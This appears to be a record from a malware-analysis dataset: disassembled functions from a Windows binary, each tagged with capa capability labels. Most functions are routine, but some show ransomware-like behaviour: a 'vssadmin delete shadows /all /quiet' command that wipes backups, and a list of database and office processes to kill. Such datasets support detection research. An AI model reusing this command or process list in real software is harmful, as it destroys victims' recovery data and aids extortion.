joyce8/EMBER2024-capa huggingface dataset:
Function at 0x52dc60
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov eax, dword [0x55e0a4]
test eax, eax
je 0x52dc87
dec eax
push eax
call sub.kernel32.dll_TlsGetValue
cmp eax, 1
jbe 0x52dc9c
cmp dword [eax + 4], 0
mov edi, eax
je 0x52dc9c
add edi, 8
jmp 0x52dcb3
mov ecx, 0x55e0a4
call sym.std::sys::windows::thread_local_key::StaticKey::init::he0afa17cd17428ff
push eax
call sub.kernel32.dll_TlsGetValue
cmp eax, 1
ja 0x52dc7a
mov eax, dword [0x55e0a4]
test eax, eax
je 0x52dd13
dec eax
push eax
call sub.kernel32.dll_TlsGetValue
xor edi, edi
cmp eax, 1
jne 0x52dcb9
mov eax, edi
pop esi
pop edi
pop ebp
ret
mov esi, eax
test eax, eax
jne 0x52dd27
movzx eax, byte [0x5da16c]
mov eax, dword [0x5da100]
test eax, eax
jne 0x52dce1
call sub.kernel32.dll_GetProcessHeap
test eax, eax
je 0x52dd61
mov dword [0x5da100], eax
push 0xc
push 0
push eax
call sub.kernel32.dll_HeapAlloc
test eax, eax
je 0x52dd61
mov dword [eax], 0x55e0a4
mov dword [eax + 4], 0
mov esi, eax
mov eax, dword [0x55e0a4]
test eax, eax
jne 0x52dd1f
mov ecx, 0x55e0a4
call sym.std::sys::windows::thread_local_key::StaticKey::init::he0afa17cd17428ff
jmp 0x52dd20
mov ecx, 0x55e0a4
call sym.std::sys::windows::thread_local_key::StaticKey::init::he0afa17cd17428ff
jmp 0x52dca6
dec eax
push esi
push eax
call sub.kernel32.dll_TlsSetValue
call dbg.new
mov ecx, dword [esi + 8]
cmp dword [esi + 4], 0
lea edi, [esi + 8]
mov dword [esi + 4], 1
mov dword [esi + 8], eax
je 0x52dcb3
test ecx, ecx
je 0x52dcb3
lock dec dword [ecx]
jne 0x52dcb3
call dbg.drop_slow<std::thread::scoped::ScopeData>
jmp 0x52dcb3
mov ecx, 4
mov edx, 0xc
call dbg.handle_alloc_error
ud2
Function at 0x52de30
Capabilities:
Generate random numbers via winapi
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff0
sub esp, 0x30
mov eax, dword [0x55e0c4]
test eax, eax
je 0x52df25
dec eax
push eax
call sub.kernel32.dll_TlsGetValue
cmp eax, 1
jbe 0x52de60
mov esi, eax
mov eax, dword [eax]
or eax, dword [esi + 4]
jne 0x52df20
mov eax, dword [0x55e0c4]
test eax, eax
je 0x52df43
dec eax
push eax
call sub.kernel32.dll_TlsGetValue
cmp eax, 1
je 0x52df5c
mov esi, eax
test eax, eax
jne 0x52dee2
movzx eax, byte [0x5da16c]
mov eax, dword [0x5da100]
test eax, eax
jne 0x52dea5
call sub.kernel32.dll_GetProcessHeap
test eax, eax
je 0x52df75
mov dword [0x5da100], eax
push 0x20
push 0
push eax
call sub.kernel32.dll_HeapAlloc
test eax, eax
je 0x52df75
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 0x18], 0x55e0c4
mov esi, eax
mov eax, dword [0x55e0c4]
test eax, eax
je 0x52df66
dec eax
push esi
push eax
call sub.kernel32.dll_TlsSetValue
xorps xmm0, xmm0
mov eax, esp
movaps xmmword [esp], xmm0
push 2
push 0x10
push eax
push 0
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
js 0x52df01
movaps xmm0, xmmword [esp]
jmp 0x52df0f
lea ecx, [esp + 0x10]
call dbg.fallback_rng
movups xmm0, xmmword [esp + 0x10]
mov dword [esi + 4], 0
mov dword [esi], 1
movups xmmword [esi + 8], xmm0
add esi, 8
jmp 0x52df5e
mov ecx, 0x55e0c4
call sym.std::sys::windows::thread_local_key::StaticKey::init::he0afa17cd17428ff
push eax
call sub.kernel32.dll_TlsGetValue
cmp eax, 1
ja 0x52de53
jmp 0x52de60
mov ecx, 0x55e0c4
call sym.std::sys::windows::thread_local_key::StaticKey::init::he0afa17cd17428ff
push eax
call sub.kernel32.dll_TlsGetValue
cmp eax, 1
jne 0x52de7d
xor esi, esi
mov eax, esi
lea esp, [ebp - 4]
pop esi
pop ebp
ret
mov ecx, 0x55e0c4
call sym.std::sys::windows::thread_local_key::StaticKey::init::he0afa17cd17428ff
jmp 0x52dedb
mov ecx, 8
mov edx, 0x20
call dbg.handle_alloc_error
ud2
Function at 0x535d50
Capabilities:
Reference wmi statements

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
mov edi, dword [edx + 8]
mov esi, edx
mov ebx, ecx
mov dword [ebp - 0x10], 0
test edi, edi
je 0x535dff
push 0x5bcf26
call sub.oleaut32.dll_SysAllocString
mov dword [ebp - 0x1c], ebx
mov ebx, eax
push str.SELECT__FROM_MSAcpi_ThermalZoneTemperature
call sub.oleaut32.dll_SysAllocString
mov dword [ebp - 0x18], edi
mov edi, eax
mov eax, dword [esi + 0xc]
lea edx, [ebp - 0x10]
mov ecx, dword [eax]
push edx
push 0
push 0x30
push edi
push ebx
push eax
call dword [ecx + 0x50]
mov dword [ebp - 0x14], eax
push ebx
mov ebx, dword [ebp - 0x1c]
call sub.oleaut32.dll_SysFreeString
push edi
mov edi, dword [ebp - 0x18]
call sub.oleaut32.dll_SysFreeString
cmp dword [ebp - 0x14], 0
js 0x535dff
mov edi, dword [ebp - 0x10]
cmp dword [esi + 0x10], 0
je 0x535dd1
mov eax, dword [esi + 0x14]
test eax, eax
je 0x535dd1
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esi + 0x10], 1
mov dword [esi + 0x14], edi
movsd xmm1, qword [esi + 8]
mov eax, dword [esi + 0x18]
movsd xmm0, qword [esi]
movsd qword [ebx + 8], xmm1
movsd xmm1, qword [esi + 0x10]
mov dword [ebx + 0x18], eax
movsd qword [ebx], xmm0
movsd qword [ebx + 0x10], xmm1
jmp 0x535e5a
mov eax, dword [esi + 0x14]
cmp dword [esi + 0x10], 0
mov dword [ebx], 2
mov dword [esi + 0x10], 0
je 0x535e1f
test eax, eax
je 0x535e1f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esi + 0xc]
test edi, edi
mov dword [esi + 8], 0
je 0x535e37
test eax, eax
je 0x535e37
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esi + 4]
cmp dword [esi], 0
mov dword [esi], 0
je 0x535e4f
test eax, eax
je 0x535e4f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp byte [esi + 0x18], 0
je 0x535e5a
call sub.ole32.dll_CoUninitialize
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x537f30
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [0x55e0d4]
test eax, eax
je 0x537f59
dec eax
push eax
call sub.kernel32.dll_TlsGetValue
cmp eax, 1
jbe 0x537f6e
mov ecx, dword [eax + 4]
add eax, 8
test ecx, ecx
cmove eax, ecx
je 0x537f6e
pop esi
pop ebp
ret
mov ecx, 0x55e0d4
call sym.std::sys::windows::thread_local_key::StaticKey::init::he0afa17cd17428ff
push eax
call sub.kernel32.dll_TlsGetValue
cmp eax, 1
ja 0x537f49
mov eax, dword [0x55e0d4]
test eax, eax
je 0x537fe9
dec eax
push eax
call sub.kernel32.dll_TlsGetValue
cmp eax, 1
je 0x537ffe
mov esi, eax
test eax, eax
jne 0x537fd5
movzx eax, byte [0x5da16c]
mov eax, dword [0x5da100]
test eax, eax
jne 0x537fa7
call sub.kernel32.dll_GetProcessHeap
test eax, eax
je 0x53800f
mov dword [0x5da100], eax
push 0xc
push 0
push eax
call sub.kernel32.dll_HeapAlloc
test eax, eax
je 0x53800f
mov dword [eax], 0x55e0d4
mov dword [eax + 4], 0
mov esi, eax
mov eax, dword [0x55e0d4]
test eax, eax
je 0x538003
dec eax
push esi
push eax
call sub.kernel32.dll_TlsSetValue
mov dword [esi + 4], 1
lea eax, [esi + 8]
mov dword [esi + 8], 0
pop esi
pop ebp
ret
mov ecx, 0x55e0d4
call sym.std::sys::windows::thread_local_key::StaticKey::init::he0afa17cd17428ff
push eax
call sub.kernel32.dll_TlsGetValue
cmp eax, 1
jne 0x537f83
xor eax, eax
pop esi
pop ebp
ret
mov ecx, 0x55e0d4
call sym.std::sys::windows::thread_local_key::StaticKey::init::he0afa17cd17428ff
jmp 0x537fce
mov ecx, 4
mov edx, 0xc
call dbg.handle_alloc_error
ud2
Function at 0x54b420
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
lea edi, [ebp - 0x48]
lea ecx, [ebp - 0x14]
mov byte [ebp - 0x30], 0
mov dword [ebp - 0x48], 0
mov edx, edi
call sym.console::term::Term::with_inner::hca91631cdbf473a3
cmp byte [ebp - 0x10], 0
je 0x54b501
mov esi, dword [ebp - 0x14]
lea ecx, [ebp - 0x24]
mov edx, esi
push 9
push 0x562a0d
call sym.console::term::Term::write_str::h642259fedb2f889f
add esp, 8
cmp byte [ebp - 0x24], 4
je 0x54b596
movsd xmm0, qword [ebp - 0x24]
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x48], 0x5bf71c
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x28], sym.__LT_std..io..error..Error_u20_as_u20_core..fmt..Display_GT_::fmt::hf47b077536b8d29b
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], 1
movsd qword [ebp - 0x1c], xmm0
call dbg._print
cmp byte [ebp - 0x1c], 3
jne 0x54b596
mov esi, dword [ebp - 0x18]
mov edi, dword [esi]
mov ebx, dword [esi + 4]
push edi
call dword [ebx]
add esp, 4
cmp dword [ebx + 4], 0
je 0x54b4e2
cmp dword [ebx + 8], 9
jb 0x54b4d4
mov edi, dword [edi - 4]
push edi
push 0
push dword [0x5da100]
call sub.kernel32.dll_HeapFree
push esi
push 0
push dword [0x5da100]
call sub.kernel32.dll_HeapFree
mov esi, dword [ebp - 0x14]
lock dec dword [esi]
je 0x54b59b
jmp 0x54b5a3
mov esi, dword [ebp - 0x14]
xor eax, eax
cmp byte [esi + 0x20], 0
sete al
or eax, 0xfffffff4
push eax
call sub.kernel32.dll_GetStdHandle
mov ebx, eax
xorps xmm0, xmm0
mov dword [ebp - 0x36], 0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x3a], 0
push edi
push eax
call sub.kernel32.dll_GetConsoleScreenBufferInfo
test eax, eax
je 0x54b5ab
mov ecx, edi
movsx eax, word [ebp - 0x48]
movsx edi, word [ebp - 0x46]
mov dword [ebp - 0x50], 0
imul edi, eax
movzx eax, word [ebp - 0x40]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x50]
push ecx
push eax
push edi
push 0x20
push ebx
call sub.kernel32.dll_FillConsoleOutputCharacterA
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
push ecx
push eax
push edi
push dword [ebp - 0x4c]
push ebx
call sub.kernel32.dll_FillConsoleOutputAttribute
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x2c]
push eax
push ebx
call sub.kernel32.dll_SetConsoleCursorPosition
mov byte [ebp - 0x24], 4
lock dec dword [esi]
jne 0x54b5a3
mov ecx, dword [ebp - 0x14]
call sym.alloc::sync::Arc_LT_T_GT_::drop_slow::h76496af6855f452e
add esp, 0x44
pop esi
pop edi
pop ebx
pop ebp
ret
mov byte [ebp - 0x24], 4
lock dec dword [esi]
je 0x54b59b
jmp 0x54b5a3
Function at 0x54c9d0
Capabilities:
Delete volume shadow copies

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x88
movzx eax, byte [0x5da16c]
mov eax, dword [0x5da100]
test eax, eax
jne 0x54c9fe
call sub.kernel32.dll_GetProcessHeap
test eax, eax
je 0x54cb14
mov dword [0x5da100], eax
push 3
push 0
push eax
call sub.kernel32.dll_HeapAlloc
test eax, eax
je 0x54cb14
lea esi, [ebp - 0x94]
mov byte [eax + 2], 0x64
mov word [eax], 0x6d63
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], 3
mov dword [ebp - 0x74], 3
mov byte [ebp - 0x70], 0
mov dword [ebp - 0x4c], 4
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x64], 0
mov word [ebp - 0x60], 0
mov byte [ebp - 0x50], 2
mov dword [ebp - 0x40], 0
mov word [ebp - 0x3c], 0
mov dword [ebp - 0x94], 5
mov dword [ebp - 0x8c], 5
mov dword [ebp - 0x84], 5
mov edx, 0x5bf7a3
mov ecx, esi
push 2
call dbg.arg
add esp, 4
mov ecx, esi
mov edx, str.vssadmin_delete_shadows__all__quiet
push 0x23
call dbg.arg
add esp, 4
lea ecx, [ebp - 0x30]
mov edx, esi
call dbg.output
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x54cb25
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x10], eax
call sym.core::ptr::drop_in_place_LT_std..process..Command_GT_::hb6e2e20b031e15da
test esi, esi
je 0x54caee
push ebx
push 0
push dword [0x5da100]
call sub.kernel32.dll_HeapFree
test edi, edi
je 0x54cb02
push dword [ebp - 0x10]
push 0
push dword [0x5da100]
call sub.kernel32.dll_HeapFree
cmp dword [ebp - 0x14], 0
sete al
add esp, 0x88
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, 1
mov edx, 3
call dbg.handle_alloc_error
ud2
movsd xmm0, qword [ebp - 0x2c]
lea eax, [ebp - 0x38]
mov ecx, 0x5bf7c8
mov edx, 0x19
movsd qword [ebp - 0x38], xmm0
push 0x5bf818
push 0x5bf614
push eax
call dbg.unwrap_failed
add esp, 0xc
ud2
Function at 0x54cb60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
movzx eax, byte [0x5da16c]
mov eax, dword [0x5da100]
mov esi, ecx
test eax, eax
jne 0x54cb88
call sub.kernel32.dll_GetProcessHeap
test eax, eax
je 0x54cde3
mov dword [0x5da100], eax
push 0x108
push 0
push eax
call sub.kernel32.dll_HeapAlloc
test eax, eax
je 0x54cde3
mov dword [eax], 0x5bf99b
mov dword [eax + 4], 7
mov dword [eax + 8], str.Oracle.exeOcssd.exeDbsnmp.exeSynctime.exeAgntsvc.exeIsqlplussvc.exeXfssvccon.exeMydesktopservice.exeOcautoupds.exeEncsvc.exeFirefox.exeTbirdconfig.exeMydesktopqos.exeOcomm.exeDbeng50.exeSqbcoreservice.exeExcel.exeInfopath.exeMsaccess.exeMspub.exeOnenote.exeOutlook.exePowerpnt.exeSteam.exeThebat.exeThunderbird.exeVisio.exeWinword.exeWordpad.exeNotepad.exeUtweb.exeUt.exeSql.exe_shatdown.bat
mov dword [eax + 0xc], 0xa
mov dword [eax + 0x10], 0x5bf832
mov dword [eax + 0x14], 9
mov dword [eax + 0x18], 0x5bf83b
mov dword [eax + 0x1c], 0xa
mov dword [eax + 0x20], 0x5bf845
mov dword [eax + 0x24], 0xc
mov dword [eax + 0x28], 0x5bf851
mov dword [eax + 0x2c], 0xb
mov dword [eax + 0x30], 0x5bf85c
mov dword [eax + 0x34], 0xf
mov dword [eax + 0x38], 0x5bf86b
mov dword [eax + 0x3c], 0xd
mov dword [eax + 0x40], 0x5bf878
mov dword [eax + 0x44], 0x14
mov dword [eax + 0x48], 0x5bf88c
mov dword [eax + 0x4c], 0xe
mov dword [eax + 0x50], 0x5bf89a
mov dword [eax + 0x54], 0xa
mov dword [eax + 0x58], 0x5bf8a4
mov dword [eax + 0x5c], 0xb
mov dword [eax + 0x60], 0x5bf8af
mov dword [eax + 0x64], 0xf
mov dword [eax + 0x68], 0x5bf8be
mov dword [eax + 0x6c], 0x10
mov dword [eax + 0x70], 0x5bf8ce
mov dword [eax + 0x74], 9
mov dword [eax + 0x78], 0x5bf8d7
mov dword [eax + 0x7c], 0xb
mov dword [eax + 0x80], 0x5bf8e2
mov dword [eax + 0x84], 0x12
mov dword [eax + 0x88], 0x5bf8f4
mov dword [eax + 0x8c], 9
mov dword [eax + 0x90], 0x5bf8fd
mov dword [eax + 0x94], 0xc
mov dword [eax + 0x98], 0x5bf909
mov dword [eax + 0x9c], 0xc
mov dword [eax + 0xa0], 0x5bf915
mov dword [eax + 0xa4], 9
mov dword [eax + 0xa8], 0x5bf91e
mov dword [eax + 0xac], 0xb
mov dword [eax + 0xb0], 0x5bf929
mov dword [eax + 0xb4], 0xb
mov dword [eax + 0xb8], 0x5bf934
mov dword [eax + 0xbc], 0xc
mov dword [eax + 0xc0], 0x5bf940
mov dword [eax + 0xc4], 9
mov dword [eax + 0xc8], 0x5bf949
mov dword [eax + 0xcc], 0xa
mov dword [eax + 0xd0], 0x5bf953
mov dword [eax + 0xd4], 0xf
mov dword [eax + 0xd8], 0x5bf962
mov dword [eax + 0xdc], 9
mov dword [eax + 0xe0], 0x5bf96b
mov dword [eax + 0xe4], 0xb
mov dword [eax + 0xe8], 0x5bf976
mov dword [eax + 0xec], 0xb
mov dword [eax + 0xf0], 0x5bf981
mov dword [eax + 0xf4], 0xb
mov dword [eax + 0xf8], 0x5bf98c
mov dword [eax + 0xfc], 9
mov dword [eax + 0x100], 0x5bf995
mov dword [eax + 0x104], 6
mov dword [esi], eax
mov dword [esi + 4], 0x21
mov dword [esi + 8], 0x21
pop esi
pop ebp
ret
mov ecx, 4
mov edx, 0x108
call dbg.handle_alloc_error
ud2
Function at 0x54eef0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov esi, ecx
lea ecx, [ebp - 0x18]
push dword [ebp + 8]
call dbg.inner
add esp, 4
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
test ecx, ecx
je 0x54ef4f
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x24]
lea edx, [ebp - 0x18]
push 1
call dbg.get_long_path
add esp, 4
mov ebx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x20]
test ebx, ebx
je 0x54ef4c
push ebx
call sub.kernel32.dll_DeleteFileW
test eax, eax
je 0x54ef56
mov byte [esi], 4
test edi, edi
jne 0x54ef65
jmp 0x54ef73
mov eax, dword [ebp - 0x1c]
mov dword [esi], edi
mov dword [esi + 4], eax
jmp 0x54ef73
call sub.kernel32.dll_GetLastError
mov byte [esi], 0
mov dword [esi + 4], eax
test edi, edi
je 0x54ef73
push ebx
push 0
push dword [0x5da100]
call sub.kernel32.dll_HeapFree
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x54eff0
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x20], ecx
mov ebx, dword [eax]
mov edi, dword [eax + 8]
lea ecx, [ebp - 0x18]
push dword [ebp + 8]
call dbg.inner
add esp, 4
mov ecx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
test ecx, ecx
je 0x54f0b7
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x2c]
lea edx, [ebp - 0x18]
push 1
call dbg.get_long_path
add esp, 4
mov eax, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x28]
test eax, eax
mov dword [ebp - 0x1c], eax
je 0x54f0b4
mov edx, ebx
lea ecx, [ebp - 0x18]
push edi
call dbg.inner
add esp, 4
mov ecx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
test ecx, ecx
je 0x54f0c4
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x2c]
push 1
call dbg.get_long_path
add esp, 4
mov edi, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x28]
test edi, edi
je 0x54f0c1
push 1
push edi
push dword [ebp - 0x1c]
call sub.kernel32.dll_MoveFileExW
test eax, eax
je 0x54f100
mov eax, dword [ebp - 0x20]
test ebx, ebx
mov byte [eax], 4
je 0x54f0ae
push edi
push 0
push dword [0x5da100]
call sub.kernel32.dll_HeapFree
test esi, esi
je 0x54f0e0
jmp 0x54f0d0
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], esi
mov dword [ecx + 4], eax
jmp 0x54f0e0
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], ebx
mov dword [ecx + 4], eax
test esi, esi
je 0x54f0e0
push dword [ebp - 0x1c]
push 0
push dword [0x5da100]
call sub.kernel32.dll_HeapFree
mov eax, dword [ebp + 0xc]
cmp dword [eax + 4], 0
je 0x54f0f8
push dword [eax]
push 0
push dword [0x5da100]
call sub.kernel32.dll_HeapFree
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
call sub.kernel32.dll_GetLastError
mov ecx, dword [ebp - 0x20]
test ebx, ebx
mov byte [ecx], 0
mov dword [ecx + 4], eax
je 0x54f0cc
push edi
push 0
push dword [0x5da100]
call sub.kernel32.dll_HeapFree
jmp 0x54f0cc
Function at 0x555ce0
Capabilities:
Print debug messages

Disassembly:
push edi
pxor xmm0, xmm0
lea edi, [esp + 8]
and esp, 0xfffffff0
push dword [edi - 4]
push ebp
mov ebp, esp
push edi
sub esp, 0x84
movups xmmword [ebp - 0x27], xmm0
movdqu xmm1, xmmword [str.Error_cleaning_up_spin_keys_for_thread]
movdqu xmm2, xmmword [0x5c2480]
movdqu xmm3, xmmword [0x5c2490]
movups xmmword [ebp - 0x47], xmm0
mov eax, dword [0x5da1e8]
mov dword [ebp - 0xc], eax
xor eax, eax
movups xmmword [ebp - 0x77], xmm1
movups xmmword [ebp - 0x67], xmm2
movups xmmword [ebp - 0x57], xmm3
movups xmmword [ebp - 0x37], xmm0
movups xmmword [ebp - 0x1c], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea edx, [ebp - 0x50]
mov dword [esp + 8], 0xa
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__ultoa]
cmp byte [ebp - 0x50], 0
je 0x555d9b
mov eax, 0x27
lea edx, [ebp - 0x77]
jmp 0x555d6d
cmp eax, 0x6a
je 0x555d8a
mov ecx, eax
add eax, 1
cmp byte [edx + eax], 0
jne 0x555d68
cmp eax, 0x6a
je 0x555d8a
add ecx, 2
mov byte [ebp + eax - 0x77], 0xa
mov byte [ebp + ecx - 0x77], 0
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esp, 4
call sym._abort
mov ecx, 0x28
mov eax, 0x27
lea edx, [ebp - 0x77]
jmp 0x555d80

Function at 0x556120
Capabilities:
Allocate thread local storage

Disassembly:
cmp dword [0x5da1cc], 1
je 0x5561d8
push edi
mov eax, 0x5da1cc
push esi
push ebx
sub esp, 0x10
call sym._enterOnceObject
lea esi, [eax + 4]
mov ebx, eax
mov dword [esp], esi
call sym._pthread_mutex_lock
mov edi, dword [0x5da1cc]
test edi, edi
jne 0x556190
call dword [sym.imp.kernel32.dll_TlsAlloc]
mov dword [0x55e134], eax
cmp eax, 0xffffffff
je sym.__pthread_once_raw.constprop.0.isra.0.cold
mov dword [0x5da1cc], 1
mov dword [esp], esi
call sym._pthread_mutex_unlock
test ebx, ebx
je 0x5561ca
add esp, 0x10
mov eax, ebx
pop ebx
pop esi
pop edi
jmp sym._leaveOnceObject.part.0
cmp edi, 1
je 0x556172
mov dword [esp], 2
call dword [0x55e144]
mov dword [esp + 0xc], edi
mov dword [esp + 8], 0x5da1cc
mov dword [esp + 4], str._once__p_is__d_n
mov dword [esp], eax
call sym._fprintf
mov dword [esp], esi
call sym._pthread_mutex_unlock
test ebx, ebx
jne 0x55617e
add esp, 0x10
pop ebx
pop esi
pop edi
ret
ret
Function at 0x5561e0
Capabilities:
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
call sym._pop_pthread_mem
mov edx, dword [entry4]
test edx, edx
je 0x556310
mov ebx, eax
test eax, eax
je 0x556310
mov dword [eax + 0x24], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebx + 0x3c], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebx + 0x1c], 0xffffffff
mov dword [ebx + 0x18], eax
sub esp, 0x10
lea eax, [ebx + 0x38]
mov dword [esp], eax
call sym._pthread_spin_destroy
cmp eax, 1
je 0x55631c
mov ebp, dword [sym.imp.kernel32.dll_GetCurrentProcess]
mov dword [ebx + 0x38], 0xffffffff
mov dword [ebx + 0x64], 0
mov dword [ebx + 0x14], 0
call ebp
mov edi, eax
call dword [sym.imp.kernel32.dll_GetCurrentThread]
mov esi, eax
call ebp
lea edx, [ebx + 0x14]
mov dword [esp + 8], edi
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov dword [esp + 4], esi
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_DuplicateHandle]
sub esp, 0x1c
test eax, eax
je sym.___pthread_self_lite.part.0.cold
mov eax, dword [ebx + 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebx + 0x68], 0
mov dword [ebx + 0x6c], eax
movzx eax, byte [ebx + 0x20]
sub esp, 4
and eax, 0xffffffcf
or eax, 0x10
mov byte [ebx + 0x20], al
mov eax, dword [0x55e134]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
sub esp, 8
test eax, eax
je 0x556321
add esp, 0x2c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
add esp, 0x2c
xor ebx, ebx
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
call sym._replace_spin_keys.part.0
jmp sym.___pthread_self_lite.part.0.cold

Function at 0x556330
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
sub esp, 0x1c
call sym.__pthread_once_raw.constprop.0.isra.0
mov eax, dword [0x55e134]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
sub esp, 4
test eax, eax
je 0x556358
add esp, 0x1c
ret
add esp, 0x1c
jmp sym.___pthread_self_lite.part.0